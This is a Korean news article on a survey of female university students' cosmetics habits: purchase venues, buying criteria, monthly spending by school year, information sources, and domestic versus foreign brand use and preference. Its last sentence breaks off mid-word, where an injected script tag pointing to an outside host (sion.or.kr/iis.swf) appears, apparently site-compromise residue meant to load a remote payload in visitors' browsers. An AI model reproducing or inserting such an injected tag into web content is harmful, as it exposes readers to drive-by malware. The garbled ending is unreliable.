서울대, 연세대, 고려대, 중앙대, 한양대 등의 재학생 1027명 중 화장품에 대한 설문은 여대생 598명(1학년부터 4학년까지 동일 비율로 조사)을 대상으로 했으며, 설문지를 통한 개별 면접방식으로 진행됐다.
화장품의 주 구입장소를 묻는 질문에 무려 57.9%가 화장품전문점을 이용한다고 밝혔으며 전 학년 골고루 과반수 이상의 높은 지지율을 보였다.
이어 백화점이 21.2%, 인터넷쇼핑몰이 16.1%, 기타 4.5%순이였다. 그러나 학년이 올라갈수록 화장품 전문점에 대한 비율이 점차 줄어들고 백화점과 인터넷쇼핑몰의 비율이 높아져 구입처에 대한 학년 간의 차이를 보였다.
또한, 화장품 구입시 중요 고려요인을 묻는 질문에 50.8%가 품질을 꼽았고, 31.4%가 피부트러블이라고 답해 브랜드의 지명도보다는 제품의 질적인 우수함이 가장 중요한 구입요소임을 입증했다.
특히 품질의 경우 저학년보다 고학년으로 갈수록 높은 응답률을 나타냈다. 이외의 브랜드가 6.7%, 다른 사람들이 많이 쓰는 것이라고 답한 경우가 4.7%였으며, 가격 3.5%, 기타가 2.2%였다. 여대생들의 화장품 구입비용 부문은 월 평균 3만5천2백원인 것으로 조사됐다. 학년별로는 3학년이 4만2백원으로 나타나 가장 많은 지출을 했으며, 이어 4학년이 3만7천3백원을 구입비용으로 사용한다고 답했다.
이에 비해 1, 2학년의 경우 상대적으로 적은 3만원 정도의 비용만 사용해 여대생의 학년별 외모에 대한 관심도를 반영했다.
제품정보 친구통해 주로 얻어
국산만족도 외제비해 크게 낮아
이들이 화장품 구입시 가장 많은 정보를 얻는 곳은 다름아닌 친구나 지인의 소개, 권유인 것으로 조사됐다. 53.7%인 과반수 이상의 지지를 얻었으며 판매원에게 정보를 얻는다는 답변도 12.7%에 달해 사람을 통한 정보에 가장 큰 신뢰를 보이는 것으로 나타났다.
이는 광고(6.5%)나 잡지기사(8.5%)에 비해 높은 비율을 보이며 과장광고에 대한 불신과 함께 구입에는 별다른 영향을 미치고 있지 않음을 드러냈다.
컴퓨터를 가장 많이 이용하는 세대답게 인터넷 사이트 역시 14.4%의 비율을 차지해 두 번째로 순위가 높았다.
‘화장품 사용은 국산브랜드, 선호는 외국브랜드’라는 공식이 젊은 세대의 공통적인 생각으로 확인됐다. 이러한 의식은 스킨로션, 파우더, 클렌징크림, 립스틱, 염색약 총 5부문으로 나눠 조사한 사용브랜드와 만족도, 선호브랜드 결과에서 나타났다.
각 부문별로 살펴보면 스킨로션의 사용브랜드를 묻는 질문에 엔시아(13.2%), 라끄베르(11.8%), 라네즈(10.9%) 등 국산브랜드가 순위권에 올랐으나 사용브랜드에 대한 만족도는 랑콤, 비오템 등과 차이를 보이며 낮게 평가됐다.
만족도에 대한 결과를 반영하듯 선호브랜드 역시 비오템(12.5%), 크리니크(12.2%), 랑콤(11.7%) 등 외국브랜드가 선두를 차지했다.
파우더 사용브랜드는 빨간통이 1위(15.5%), 라네즈(11.4%), 라끄베르(10.6%)순으로 나타났으며 선호브랜드 중 유일하게 국산브랜드인 빨간통이 순위에 올라 2위를 차지했다. 샤넬(13.0%), 크리스찬디올(10.2%), 랑콤(9.5%) 등이 선호 브랜드로 순위에 올라 만족도의 경향과 동일한 양상을 보였다.
클렌징크림 부문은 사용브랜드와 선호 브랜드 1위가 동일한 브랜드로 나타났다. 폰즈가 23.8%의 사용브랜드 지지율과 24.4%의 선호 브랜드 지지율을 얻어 클렌징 전문브랜드의 저력을 과시했으나 만족도에서는 참존징코와 크리니크에 밀려 3위에 그쳤다.
사용브랜드 결과를 살펴보면 폰즈와 함께 클렌징 전문브랜드인 포인트(15.9%), 데일리솝트리(12.8%)가 상위권을 차지해 클렌징 전문브랜드에 대한 인식이 젊은 세대 사이에서도 확산되었음을 나타냈다.
트렌드에 가장 민감한 립스틱 역시 사용브랜드는 에뛰드(17.4%), 라네즈(14.4%)가 1, 2위를 차지했으나 만족도와 선호브랜드에서는 상위권에서 밀려났다. 립스틱의 경우 샤넬, 랑콤, 크리스찬디올 등 만족도가 높은 브랜드와 선호 브랜드의 상위권 순위가 동일해 외국브랜드에 대한 절대적인 지지를 나타냈다.
젊은 세대의 개성을 반영해 주는 염색약 부문은 사용률이 높지 않았으나 로레알이 사용브랜드 57.6%, 선호브랜드 43.0%로 부동의 1위 자리를 지키고 있음을 확인시켜줬다. 이밖에 미장센, 웰라칼라가 사?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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